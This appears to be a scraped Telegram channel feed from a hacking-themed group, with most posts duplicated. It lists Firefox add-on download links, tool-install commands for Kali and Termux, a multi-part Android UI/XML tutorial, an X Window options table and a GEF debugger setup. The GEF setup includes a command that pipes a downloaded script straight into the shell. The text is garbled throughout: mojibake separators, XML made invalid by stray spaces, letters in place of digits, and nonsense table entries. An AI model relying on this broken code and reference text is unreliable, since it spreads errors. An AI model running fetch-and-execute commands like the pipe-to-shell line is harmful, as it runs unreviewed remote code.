β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Internet- Top Firefox Addon choosed by UndercOde :
instagram.com/UnderCodeTesting
#adblock_plus
https://addons.mozilla.org/firefox/downloads/file/808841/adblock_plus-3.0.2-an+fx.xpi?src=dp-btn-primary
#gnome_shell_integration
https://addons.mozilla.org/firefox/downloads/file/854306/gnome_shell_integration-10-an+fx-linux.xpi?src=dp-btn-primary
#IP Address and Domain Information
https://addons.mozilla.org/firefox/downloads/file/689443/ip_address_and_domain_information-4.0.0-fx.xpi?src=dp-btn-primary
#New Hackbar
https://addons.mozilla.org/firefox/downloads/file/831304/new_hackbar-1.0.4-an+fx.xpi?src=dp-btn-primary
#HackBar (F12)
https://addons.mozilla.org/firefox/downloads/file/851494/hackbar-1.1.7-an+fx.xpi?src=dp-btn-primary
#Proxy SwitchyOmega
https://addons.mozilla.org/firefox/downloads/file/848109/proxy_switchyomega-2.5.10-an+fx.xpi?src=dp-btn-primary
#Show External IP
https://addons.mozilla.org/firefox/downloads/file/776591/show_external_ip-1.0.6-an+fx.xpi?src=dp-btn-primary
#Show Server IP
https://addons.mozilla.org/firefox/downloads/file/739407/show_server_ip-2.3-an+fx-linux.xpi?src=dp-btn-primary
#Tampermonkey
https://addons.mozilla.org/firefox/downloads/file/813574/tampermonkey-4.5.5660-an+fx.xpi?src=dp-btn-primary
#Site Stacks extension
https://addons.mozilla.org/firefox/downloads/file/745343/sitestacks_for_firefox_instant_tech_lookup-1.0.1-fx-linux.xpi?src=dp-btn-primary
#Wappalyze(baned-or adress changed)
https://addons.mozilla.org/firefox/downloads/file/852547/wappalyzer-5.4.6-an+fx.xpi?src=dp-btn-primary
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Internet- Top Firefox Addon choosed by UndercOde :
instagram.com/UnderCodeTesting
#adblock_plus
https://addons.mozilla.org/firefox/downloads/file/808841/adblock_plus-3.0.2-an+fx.xpi?src=dp-btn-primary
#gnome_shell_integration
https://addons.mozilla.org/firefox/downloads/file/854306/gnome_shell_integration-10-an+fx-linux.xpi?src=dp-btn-primary
#IP Address and Domain Information
https://addons.mozilla.org/firefox/downloads/file/689443/ip_address_and_domain_information-4.0.0-fx.xpi?src=dp-btn-primary
#New Hackbar
https://addons.mozilla.org/firefox/downloads/file/831304/new_hackbar-1.0.4-an+fx.xpi?src=dp-btn-primary
#HackBar (F12)
https://addons.mozilla.org/firefox/downloads/file/851494/hackbar-1.1.7-an+fx.xpi?src=dp-btn-primary
#Proxy SwitchyOmega
https://addons.mozilla.org/firefox/downloads/file/848109/proxy_switchyomega-2.5.10-an+fx.xpi?src=dp-btn-primary
#Show External IP
https://addons.mozilla.org/firefox/downloads/file/776591/show_external_ip-1.0.6-an+fx.xpi?src=dp-btn-primary
#Show Server IP
https://addons.mozilla.org/firefox/downloads/file/739407/show_server_ip-2.3-an+fx-linux.xpi?src=dp-btn-primary
#Tampermonkey
https://addons.mozilla.org/firefox/downloads/file/813574/tampermonkey-4.5.5660-an+fx.xpi?src=dp-btn-primary
#Site Stacks extension
https://addons.mozilla.org/firefox/downloads/file/745343/sitestacks_for_firefox_instant_tech_lookup-1.0.1-fx-linux.xpi?src=dp-btn-primary
#Wappalyze(baned-or adress changed)
https://addons.mozilla.org/firefox/downloads/file/852547/wappalyzer-5.4.6-an+fx.xpi?src=dp-btn-primary
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ small tools install-for kali
1) LinuxοΌ
sudo apt-get install screenfetch
sudo apt-get install neofetch
2) Sl
sudo apt-get install sl
3) rev
sudo apt-get install rev
4) fortuneοΌ
sudo apt-get install fortune
5) figlet
sudo apt-get install figlet
6) toilet
sudo apt-get install toilet
7) cowsay :
sudo apt-get install cowsay
8) xcowsay
sudo apt-get install xcowsay
9) cmatrixοΌ
sudo apt-get install cmatrix
10) oneko
sudo apt-get install oneko
11) lolcatοΌ
sudo apt-get install lolcat
12) postfix
apt-get -y install postfix
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ small tools install-for kali
1) LinuxοΌ
sudo apt-get install screenfetch
sudo apt-get install neofetch
2) Sl
sudo apt-get install sl
3) rev
sudo apt-get install rev
4) fortuneοΌ
sudo apt-get install fortune
5) figlet
sudo apt-get install figlet
6) toilet
sudo apt-get install toilet
7) cowsay :
sudo apt-get install cowsay
8) xcowsay
sudo apt-get install xcowsay
9) cmatrixοΌ
sudo apt-get install cmatrix
10) oneko
sudo apt-get install oneko
11) lolcatοΌ
sudo apt-get install lolcat
12) postfix
apt-get -y install postfix
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Secure your Termux app with Termux Login
t.me/UndercOdeTesting
πππ€π₯πππππ€ππ₯ππ π & βπ¦π :
1) apt update
2) apt install git -y
3) git clone https://github.com/htr-tech/termux-login.git
4) cd termux-login
5) chmod +x *
6) sh install.sh
7) exit
THATS ALL
π¦ Tested by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Secure your Termux app with Termux Login
t.me/UndercOdeTesting
πππ€π₯πππππ€ππ₯ππ π & βπ¦π :
1) apt update
2) apt install git -y
3) git clone https://github.com/htr-tech/termux-login.git
4) cd termux-login
5) chmod +x *
6) sh install.sh
7) exit
THATS ALL
π¦ Tested by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Android GUI (graphical user interface) development 2020:
Part 1 :
twitter.com/UndercodeNews
1) The Android system provides rich visual interface components, including menus, buttons, dialog boxes, and so on. The Android system uses UI design ideas in Java programming, including event handling mechanisms and layout management methods.
2) All UI classes in the Android system are based on View and ViewGroup. All subclasses of View are called Widgets, and all subclasses of ViewGroup are called Layout.
3) Activity is the interface between the Android application and the user. Each screen view corresponds to an Activity.
4) The activity itself cannot be displayed on the screen, it is more like a container for displayable components. It's like a JSP page. It doesn't display anything. It is responsible for displaying various HTML tags in the JSP page. A JSP page is like a container that loads these expressions
π¦ So in the Android application, who is really responsible for the display? The answer is View and ViewGroup, where ViewGroup is a subclass of View.
1) The Android UI interface is a combination of View (View) and ViewGroup and their derived classes.
2) View is the base class for all UI components. Basically, all advanced UI components are implemented by inheriting the View class, such as TextView (Text Box), Button, List, EditText (Edit Box), Checkbox, etc. A View occupies a rectangular area on the screen and is responsible for rendering this rectangular area. It can also handle events that occur in this rectangular area, and can set whether the area is visible and get focus.
3) ViewGroup is a container that holds these components. It is also derived from View. It inherits from Android.view.View. Its function is to load and manage the next level of View object or ViewGroup object, which means that it is a container for other The element container is responsible for the management and layout of the added View and ViewGroup.
4) ViewGroup can contain one or any number of views (views), and it can also contain sub-ViewGroups as lower levels, and sub-ViewGroups can contain View and ViewGroup of leaf nodes in the next level. This flexible hierarchical relationship can form complex UI layouts.
5) The user interface UI formed during development generally comes from direct or indirect subclasses of the View and ViewGroup classes.
> For example, the direct subclasses derived from View are AnalogClock, ImageView, KeyboardView, ProgressBar, Space, SurfaceView, TextView, TextureView, ViewGroup, ViewStub, and so on.
6) The direct subclasses derived from ViewGroup are AbsoluteLayout, FragmentBreadCrumbs, FrameLayout, GridLayout, LinearLayout, RelativeLayout, SlidingDrawer, etc.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Android GUI (graphical user interface) development 2020:
Part 1 :
twitter.com/UndercodeNews
1) The Android system provides rich visual interface components, including menus, buttons, dialog boxes, and so on. The Android system uses UI design ideas in Java programming, including event handling mechanisms and layout management methods.
2) All UI classes in the Android system are based on View and ViewGroup. All subclasses of View are called Widgets, and all subclasses of ViewGroup are called Layout.
3) Activity is the interface between the Android application and the user. Each screen view corresponds to an Activity.
4) The activity itself cannot be displayed on the screen, it is more like a container for displayable components. It's like a JSP page. It doesn't display anything. It is responsible for displaying various HTML tags in the JSP page. A JSP page is like a container that loads these expressions
π¦ So in the Android application, who is really responsible for the display? The answer is View and ViewGroup, where ViewGroup is a subclass of View.
1) The Android UI interface is a combination of View (View) and ViewGroup and their derived classes.
2) View is the base class for all UI components. Basically, all advanced UI components are implemented by inheriting the View class, such as TextView (Text Box), Button, List, EditText (Edit Box), Checkbox, etc. A View occupies a rectangular area on the screen and is responsible for rendering this rectangular area. It can also handle events that occur in this rectangular area, and can set whether the area is visible and get focus.
3) ViewGroup is a container that holds these components. It is also derived from View. It inherits from Android.view.View. Its function is to load and manage the next level of View object or ViewGroup object, which means that it is a container for other The element container is responsible for the management and layout of the added View and ViewGroup.
4) ViewGroup can contain one or any number of views (views), and it can also contain sub-ViewGroups as lower levels, and sub-ViewGroups can contain View and ViewGroup of leaf nodes in the next level. This flexible hierarchical relationship can form complex UI layouts.
5) The user interface UI formed during development generally comes from direct or indirect subclasses of the View and ViewGroup classes.
> For example, the direct subclasses derived from View are AnalogClock, ImageView, KeyboardView, ProgressBar, Space, SurfaceView, TextView, TextureView, ViewGroup, ViewStub, and so on.
6) The direct subclasses derived from ViewGroup are AbsoluteLayout, FragmentBreadCrumbs, FrameLayout, GridLayout, LinearLayout, RelativeLayout, SlidingDrawer, etc.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
X (formerly Twitter)
UNDERCODE NEWS (@UndercodeNews) on X
π¦ Latest in Cyber & Tech News with AI-Powered Analysis and Fact Checking.
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Android uses XML files to define user interface 2020 develope your own android :
instagram.com/UndercodeTesting
π¦ ππΌππ πππΈβπ
Before building a user interface with XML, we need to revisit the directory structure of the Android project.
1) taking HelloAndroid as an example, the project view lists the directory structure of the project.
(check picture by UndercOde)
π¦ Here is a brief introduction to the Android directory:
1) At .the beginning of the catalog is AS generated directory assistance, without user intervention.
2) The HelloAndroid folder is a module directory, and the programming work is mainly concentrated in this directory, which is equivalent to the project folder built using Eclipse, which contains folders such as build, src, and res.
3) The res directory is the resource directory used in the Android project. The resources involved in the user UI are basically placed in this directory.
4) For each resource file in the res directory, AAPT (Android Asset Packaging Tool) generates a corresponding public static final ID number for it, and places it in the R.java file in the build directory. To access the corresponding resources.
5) The build directory is automatically generated by AS and does not need to be modified by the user.
6) The res / drawable / directory is used to store the image files used in the project. After the drawable, hdpi, ldpi, and mdpi are used to place high-resolution, low-resolution, and medium-resolution images to accommodate different resolution phones.
7) The Android system will Automatically select a picture file with the appropriate resolution according to the configuration information of the user's mobile phone, without the need for programmer intervention.
The res / layout / directory stores XML files that define UI layout files.
8) The default file name is main.xml.
9) The res / values / directory stores files used to store some string information used in the project. The default file name is strings.xml.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Android uses XML files to define user interface 2020 develope your own android :
instagram.com/UndercodeTesting
π¦ ππΌππ πππΈβπ
Before building a user interface with XML, we need to revisit the directory structure of the Android project.
1) taking HelloAndroid as an example, the project view lists the directory structure of the project.
(check picture by UndercOde)
π¦ Here is a brief introduction to the Android directory:
1) At .the beginning of the catalog is AS generated directory assistance, without user intervention.
2) The HelloAndroid folder is a module directory, and the programming work is mainly concentrated in this directory, which is equivalent to the project folder built using Eclipse, which contains folders such as build, src, and res.
3) The res directory is the resource directory used in the Android project. The resources involved in the user UI are basically placed in this directory.
4) For each resource file in the res directory, AAPT (Android Asset Packaging Tool) generates a corresponding public static final ID number for it, and places it in the R.java file in the build directory. To access the corresponding resources.
5) The build directory is automatically generated by AS and does not need to be modified by the user.
6) The res / drawable / directory is used to store the image files used in the project. After the drawable, hdpi, ldpi, and mdpi are used to place high-resolution, low-resolution, and medium-resolution images to accommodate different resolution phones.
7) The Android system will Automatically select a picture file with the appropriate resolution according to the configuration information of the user's mobile phone, without the need for programmer intervention.
The res / layout / directory stores XML files that define UI layout files.
8) The default file name is main.xml.
9) The res / values / directory stores files used to store some string information used in the project. The default file name is strings.xml.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Android uses XML files to define user interface 2020 develope your own android :Part 2
instagram.com/UndercOdeTesting
π¦ ππΌππ πππΈβπ
1) each directory can store multiple XML files, which can be created by the developer. It can be seen that the user UI design used in the Android project and the strings involved in the user UI are stored by XML files. The Android system uses XML files to define user views.
2) Click to open the string.xml file under the values folder, which displays the following code:
<? xml version = "1.0" encoding = "UTF-8"?>
<resources>
<string name = "hello" > Hello Android! </ string>
<string name = "app_name" > HelloAndroid </ string>
</ resources>
The first part of the file <?xml version="1.0" encoding="utf-8"?>defines the version number and character encoding of the XML. This part will be present in all XML files. It is automatically added by the system and does not need to be modified.
3) The <resources> tag defines two variables, hello and app_name, which can be used directly by HelloAndroid projects. When the file is modified, the R.java file in the gen directory will be updated accordingly.
4) Double-click the main.xml file, the code is as follows:
<? xml version = "1.0" encoding = "utf-8"?>
<LinearLayout xmlns: android = "http://schemas.android.com/apk/res/android"
android: layout_width = "fill_parent"
android: layout_height = "fill_parent"
android: orientation = "vertical" >
<TextView
android: id = "@ + id / textView1"
android: layout_width = "fill_parent"
android: layout_height = "wrap_content"
android: text = "@ string / hello" />
</ LinearLayout>
5) You can add various UI components between <LinearLayout ...> and </ LinearLayout> and set related properties of the components, such as the height, width, and content of the components. The usage methods of various common components will be described in detail later.
6) What is added to the HelloAndroid instance is a TextView component, which is equivalent to a label that displays the content. The Android SDK provides a @[<package_ name>:]<resource_type>/<resource_name>way to access project resources from an XML file.
7)Let's briefly introduce the properties in TextView:
android: layout_width = "fill_parent" specifies that its width covers the width of the full container.
android: layout_height = "wrap_content" specifies that its height changes with its display content.
android: id = "@ + id / textView1" indicates that the TextView's ID value is a member constant of the ID class textView1 in the R.java file.
android: text = "@ string / hello" indicates that the content displayed by this TextView component is the content of the hello variable defined in the resource file string.xml.
The android: text attribute can also directly specify the string to be displayed, but this method is discouraged in the actual project development process. Instead, you should use variables in the resource file because it is convenient for project maintenance and internationalization.
8) In this tutorial, in order to save space, some components with simple display content use the method of direct string assignment.
9) The resource files used in the Android project will generate corresponding entries in R.java in the gen directory. The system assigns each resource a hexadecimal integer value that uniquely identifies each resource.
π¦ Android uses XML files to define user interface 2020 develope your own android :Part 2
instagram.com/UndercOdeTesting
π¦ ππΌππ πππΈβπ
1) each directory can store multiple XML files, which can be created by the developer. It can be seen that the user UI design used in the Android project and the strings involved in the user UI are stored by XML files. The Android system uses XML files to define user views.
2) Click to open the string.xml file under the values folder, which displays the following code:
<? xml version = "1.0" encoding = "UTF-8"?>
<resources>
<string name = "hello" > Hello Android! </ string>
<string name = "app_name" > HelloAndroid </ string>
</ resources>
The first part of the file <?xml version="1.0" encoding="utf-8"?>defines the version number and character encoding of the XML. This part will be present in all XML files. It is automatically added by the system and does not need to be modified.
3) The <resources> tag defines two variables, hello and app_name, which can be used directly by HelloAndroid projects. When the file is modified, the R.java file in the gen directory will be updated accordingly.
4) Double-click the main.xml file, the code is as follows:
<? xml version = "1.0" encoding = "utf-8"?>
<LinearLayout xmlns: android = "http://schemas.android.com/apk/res/android"
android: layout_width = "fill_parent"
android: layout_height = "fill_parent"
android: orientation = "vertical" >
<TextView
android: id = "@ + id / textView1"
android: layout_width = "fill_parent"
android: layout_height = "wrap_content"
android: text = "@ string / hello" />
</ LinearLayout>
5) You can add various UI components between <LinearLayout ...> and </ LinearLayout> and set related properties of the components, such as the height, width, and content of the components. The usage methods of various common components will be described in detail later.
6) What is added to the HelloAndroid instance is a TextView component, which is equivalent to a label that displays the content. The Android SDK provides a @[<package_ name>:]<resource_type>/<resource_name>way to access project resources from an XML file.
7)Let's briefly introduce the properties in TextView:
android: layout_width = "fill_parent" specifies that its width covers the width of the full container.
android: layout_height = "wrap_content" specifies that its height changes with its display content.
android: id = "@ + id / textView1" indicates that the TextView's ID value is a member constant of the ID class textView1 in the R.java file.
android: text = "@ string / hello" indicates that the content displayed by this TextView component is the content of the hello variable defined in the resource file string.xml.
The android: text attribute can also directly specify the string to be displayed, but this method is discouraged in the actual project development process. Instead, you should use variables in the resource file because it is convenient for project maintenance and internationalization.
8) In this tutorial, in order to save space, some components with simple display content use the method of direct string assignment.
9) The resource files used in the Android project will generate corresponding entries in R.java in the gen directory. The system assigns each resource a hexadecimal integer value that uniquely identifies each resource.
Forwarded from PRIVATE UNDERCODE
The R.java file code in the HelloAndroid project is as follows:
Plain Text Copy
package introduction . android . helloandroid ;
public final class R {
public static final class attr {
}
public static final class drawable {
public static final int ic_launcher = 0x7f020000 ;
}
public static final class id {
public static final int textView1 = 0x7f050000 ;
}
public static final class layout {
public static final int main = 0x7f030000 ;
}
public static final class string {
public static final int app_name = 0x7f040001 ;
public static final int hello = 0x7f040000 ;
}
}
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Plain Text Copy
package introduction . android . helloandroid ;
public final class R {
public static final class attr {
}
public static final class drawable {
public static final int ic_launcher = 0x7f020000 ;
}
public static final class id {
public static final int textView1 = 0x7f050000 ;
}
public static final class layout {
public static final int main = 0x7f030000 ;
}
public static final class string {
public static final int app_name = 0x7f040001 ;
public static final int hello = 0x7f040000 ;
}
}
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Part 3 android develop;
1) As can be seen from this file, R is a static final class. The public static final class layout represents the contents of the res / layout folder, and each integer constant of the layout class represents an XML layout file under the folder.
2) For example, public static final int main represents the main.xml file, and 0x7f030000 is an integer value generated by the system's main.xml file. Find the main.xml file based on this value in the Android project. public static final class string represents the res / values ββ/ strings.xml file, and each integer constant member in the string class represents a variable defined in the strings.xml file. For example, public static final int app_name represents the app_name variable defined in strings.xml, and public static final int hello represents the hello variable defined in the sts.xml file.
3) During project development, you can access any resource defined in R through [<package_name>.] R. <resource_type>. <Resource_name>. among them:
package_name is the package path where the resource file is placed, and can be omitted in general.
resource_type is the resource type, such as layout, string, color, drawable, menu, etc.
resource_name refers to the name of the integer constant defined in the class for the resource file.
4) Consider the following example:
setContentView (R.layout.main);
5) In this line of code, the layout file main.xml is found through R.layout.main, and it is set as the view of the current Activity through the setContentView method. To find a component from a view, you need to use the findViewById method to get the component's object by the component ID.
6) For example, to get the TextView component object in main.xml, you need to execute the following code:
TextView textview = (TextView) findViewById (R.id.textView1);
π¦ Keep tunning with undercode we have all parts ready to sent later
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Part 3 android develop;
1) As can be seen from this file, R is a static final class. The public static final class layout represents the contents of the res / layout folder, and each integer constant of the layout class represents an XML layout file under the folder.
2) For example, public static final int main represents the main.xml file, and 0x7f030000 is an integer value generated by the system's main.xml file. Find the main.xml file based on this value in the Android project. public static final class string represents the res / values ββ/ strings.xml file, and each integer constant member in the string class represents a variable defined in the strings.xml file. For example, public static final int app_name represents the app_name variable defined in strings.xml, and public static final int hello represents the hello variable defined in the sts.xml file.
3) During project development, you can access any resource defined in R through [<package_name>.] R. <resource_type>. <Resource_name>. among them:
package_name is the package path where the resource file is placed, and can be omitted in general.
resource_type is the resource type, such as layout, string, color, drawable, menu, etc.
resource_name refers to the name of the integer constant defined in the class for the resource file.
4) Consider the following example:
setContentView (R.layout.main);
5) In this line of code, the layout file main.xml is found through R.layout.main, and it is set as the view of the current Activity through the setContentView method. To find a component from a view, you need to use the findViewById method to get the component's object by the component ID.
6) For example, to get the TextView component object in main.xml, you need to execute the following code:
TextView textview = (TextView) findViewById (R.id.textView1);
π¦ Keep tunning with undercode we have all parts ready to sent later
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Lets send some gd scripts for beginers
2020 updqated script :You can use setupTermuxArch.bash , to install Arch Linux in Amazon, Android, Chromebook and Windows
πππ€π₯πππππ€ππ₯ππ π & βπ¦π :
1) git clone https://github.com/SDRausty/TermuxArch
2) cd TermuxArch
3) setupTermuxArch.bash
4) startarch
THats all!
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Lets send some gd scripts for beginers
2020 updqated script :You can use setupTermuxArch.bash , to install Arch Linux in Amazon, Android, Chromebook and Windows
πππ€π₯πππππ€ππ₯ππ π & βπ¦π :
1) git clone https://github.com/SDRausty/TermuxArch
2) cd TermuxArch
3) setupTermuxArch.bash
4) startarch
THats all!
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
GitHub
GitHub - SDRausty/TermuxArch: You can use setupTermuxArch.bash π² to install Arch Linux in Amazon, Android, Chromebook and Windows.β¦
You can use setupTermuxArch.bash π² to install Arch Linux in Amazon, Android, Chromebook and Windows. https://sdrausty.github.io/TermuxArch/docs/install - SDRausty/TermuxArch
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Five Android layouts: FrameLayout, LinearLayout, AbsoluteLayout, RelativeLayout, and TableLayout: Part 1
>The Android SDK defines multiple layouts to facilitate user design of the UI. The various layout methods are subclasses of the ViewGroup class, and the structure is shown in picture after this chat
twitter.com/UndercodeNews
π¦ ππΌππ πππΈβπ
1) FrameLayout
> FrameLayout, also known as single frame layout, is the simplest layout among the layout methods provided by Android. It specifies a blank area on the screen and fills a single object in the area. For example pictures, text, buttons, etc.
2) Application developers cannot specify specific fill positions for components filled in FrameLayout. By default, these components will be fixed in the upper left corner of the screen, and components placed later will be placed on the previous component to cover and fill, forming a part. Block or block all.
3) Developers can make appropriate modifications to the component location through the component's android: layout_gravity property.
4) An example FrameLayoutDemo demonstrates the layout effect of FrameLayout. There are 4 TextView components in the layout. The first 3 components are placed in the layout by default. The fourth component is placed in the layout after modifying the gravity property
π¦Part of code of the layout file main.xml in the example FrameLayoutDemo is as follows:
Plain Text Copy
<? xml version = "1.0" encoding = "utf-8"?>
<FrameLayout xmlns: android = "http://schemas.android.com/apk/res/android"
android: layout_height = "fill_parent"
android: layout_width = "fill_parent" >
<TextView
android: id = "@ + id / text1"
android: layout_width = "wrap_content"
android: layout_height = "wrap_content"
android: textColor = "# 00ff00"
android: textsize = "1OOdip"
android: text = "@ string / first" />
<TextView
android: id = "@ + id / text2"
android: layout_width = "wrap_content"
android: layout_height = "wrap_content"
android: textColor = "# 00ffff"
android: textsize = "70dip"
android: text = "@ string / second" />
<TextView
android: id = "@ + id / text3"
android: layout_width = "wrap_content"
android: layout_height = "wrap_content"
android: textColor = "# ffOOOO"
.....
...
</ FrameLayout>
among them:
android: layout_width = "wrap_content"
....
π¦ LinearLayout
> LinearLayout, also known as linear layout, should be the most commonly used layout in Android view design. This layout allows the components placed in it to be arranged neatly horizontally or vertically. The specific arrangement is specified by the android: orientation property, and the weight of each component in the layout is set by the weight property.
>The strings.xml file code in the example LinearLayoutDemo is as f ollows:
Plain Text Copy
<? xml version = "1.0" encoding = "UTF-8"?>
<resources>
<string name = "app_name" > LinearLayoutDemo </ string>
<string name = "red" > red </ string>
<string name = "yellow" > yellow </ string
...
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Five Android layouts: FrameLayout, LinearLayout, AbsoluteLayout, RelativeLayout, and TableLayout: Part 1
>The Android SDK defines multiple layouts to facilitate user design of the UI. The various layout methods are subclasses of the ViewGroup class, and the structure is shown in picture after this chat
twitter.com/UndercodeNews
π¦ ππΌππ πππΈβπ
1) FrameLayout
> FrameLayout, also known as single frame layout, is the simplest layout among the layout methods provided by Android. It specifies a blank area on the screen and fills a single object in the area. For example pictures, text, buttons, etc.
2) Application developers cannot specify specific fill positions for components filled in FrameLayout. By default, these components will be fixed in the upper left corner of the screen, and components placed later will be placed on the previous component to cover and fill, forming a part. Block or block all.
3) Developers can make appropriate modifications to the component location through the component's android: layout_gravity property.
4) An example FrameLayoutDemo demonstrates the layout effect of FrameLayout. There are 4 TextView components in the layout. The first 3 components are placed in the layout by default. The fourth component is placed in the layout after modifying the gravity property
π¦Part of code of the layout file main.xml in the example FrameLayoutDemo is as follows:
Plain Text Copy
<? xml version = "1.0" encoding = "utf-8"?>
<FrameLayout xmlns: android = "http://schemas.android.com/apk/res/android"
android: layout_height = "fill_parent"
android: layout_width = "fill_parent" >
<TextView
android: id = "@ + id / text1"
android: layout_width = "wrap_content"
android: layout_height = "wrap_content"
android: textColor = "# 00ff00"
android: textsize = "1OOdip"
android: text = "@ string / first" />
<TextView
android: id = "@ + id / text2"
android: layout_width = "wrap_content"
android: layout_height = "wrap_content"
android: textColor = "# 00ffff"
android: textsize = "70dip"
android: text = "@ string / second" />
<TextView
android: id = "@ + id / text3"
android: layout_width = "wrap_content"
android: layout_height = "wrap_content"
android: textColor = "# ffOOOO"
.....
...
</ FrameLayout>
among them:
android: layout_width = "wrap_content"
....
π¦ LinearLayout
> LinearLayout, also known as linear layout, should be the most commonly used layout in Android view design. This layout allows the components placed in it to be arranged neatly horizontally or vertically. The specific arrangement is specified by the android: orientation property, and the weight of each component in the layout is set by the weight property.
>The strings.xml file code in the example LinearLayoutDemo is as f ollows:
Plain Text Copy
<? xml version = "1.0" encoding = "UTF-8"?>
<resources>
<string name = "app_name" > LinearLayoutDemo </ string>
<string name = "red" > red </ string>
<string name = "yellow" > yellow </ string
...
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
X (formerly Twitter)
UNDERCODE NEWS (@UndercodeNews) on X
π¦ Latest in Cyber & Tech News with AI-Powered Analysis and Fact Checking.
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
γjoin us: https://t.co/YVv330UsjQ
More: @DailyCve @UndercodeUpdate
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ General X Window Options > commands :
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
> descriptions of the commands of the X Window System. These commands have a common set of parameters. Instead of listing these parameters in the description of each command, we will list them here.
> General X Window Options
> PARAMETER VALUE
-background
red green sippy
Setting a cyst background
-background color Setting the background color of the window
-bg color Setting the background color of the window
-display
system. server number
Using an X server with a given number (usually 0) on a given system
-fg color Setting the primary color of the window
-fn font Using the specified font
-font font Using the specified font
-foreground color
red green blue
Setting the primary color of the window
-foreground color Setting the primary color of the window
-geometry
width height + x + y
Set window size and location
-geometry widths height Setting window sizes
-geometry + x + y Setting the position of the upper left corner of the window
-height line Setting the window size vertically, in rows
-position x y Setting the position of the upper left corner of the window, in pixels
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ General X Window Options > commands :
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
> descriptions of the commands of the X Window System. These commands have a common set of parameters. Instead of listing these parameters in the description of each command, we will list them here.
> General X Window Options
> PARAMETER VALUE
-background
red green sippy
Setting a cyst background
-background color Setting the background color of the window
-bg color Setting the background color of the window
-display
system. server number
Using an X server with a given number (usually 0) on a given system
-fg color Setting the primary color of the window
-fn font Using the specified font
-font font Using the specified font
-foreground color
red green blue
Setting the primary color of the window
-foreground color Setting the primary color of the window
-geometry
width height + x + y
Set window size and location
-geometry widths height Setting window sizes
-geometry + x + y Setting the position of the upper left corner of the window
-height line Setting the window size vertically, in rows
-position x y Setting the position of the upper left corner of the window, in pixels
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Forwarded from PRIVATE UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦2020 updated GEF - GDB Enhanced Features for exploit devs & reversers
>GEF (pronounced Κ€Ιf - "Jeff") is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit development. Application developers will also benefit from it, as GEF lifts a great part of regular GDB obscurity, avoiding repeating traditional commands, or bringing out the relevant information from the debugging runtime.
> t.me/UndercOdeTesting
π¦πβπππΈπππππΈπππβ & βπβ:
# via the install script
1) wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
# manually
2) wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
3) echo source ~/.gdbinit-gef.py >> ~/.gdbinit
Then just start playing:
4) gdb -q /path/to/my/bin
gefβ€ gef help
π¦Features :
A few of GEF features include:
> One single GDB script.
> Entirely OS Agnostic, NO dependencies: GEF is battery-included and is installable in 2 seconds (unlike PwnDBG).
> Fast limiting the number of dependencies and optimizing code to make the commands as fast as possible (unlike PwnDBG).
>Provides a great variety of commands to drastically change your experience in GDB.
>Easily extendable to create other commands by providing more comprehensible layout to GDB Python API.
>Works consistently on both Python2 and Python3.
>Built around an architecture abstraction layer, so all commands work in a ny GDB-supported architecture such as x86-32/64, ARMv5/6/7,
> AARCH64, SPARC, MIPS, PowerPC, etc. (unlike PEDA)
> Suited for real-life apps debugging, exploit development, just as much as CTF (unlike PEDA or PwnDBG
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦2020 updated GEF - GDB Enhanced Features for exploit devs & reversers
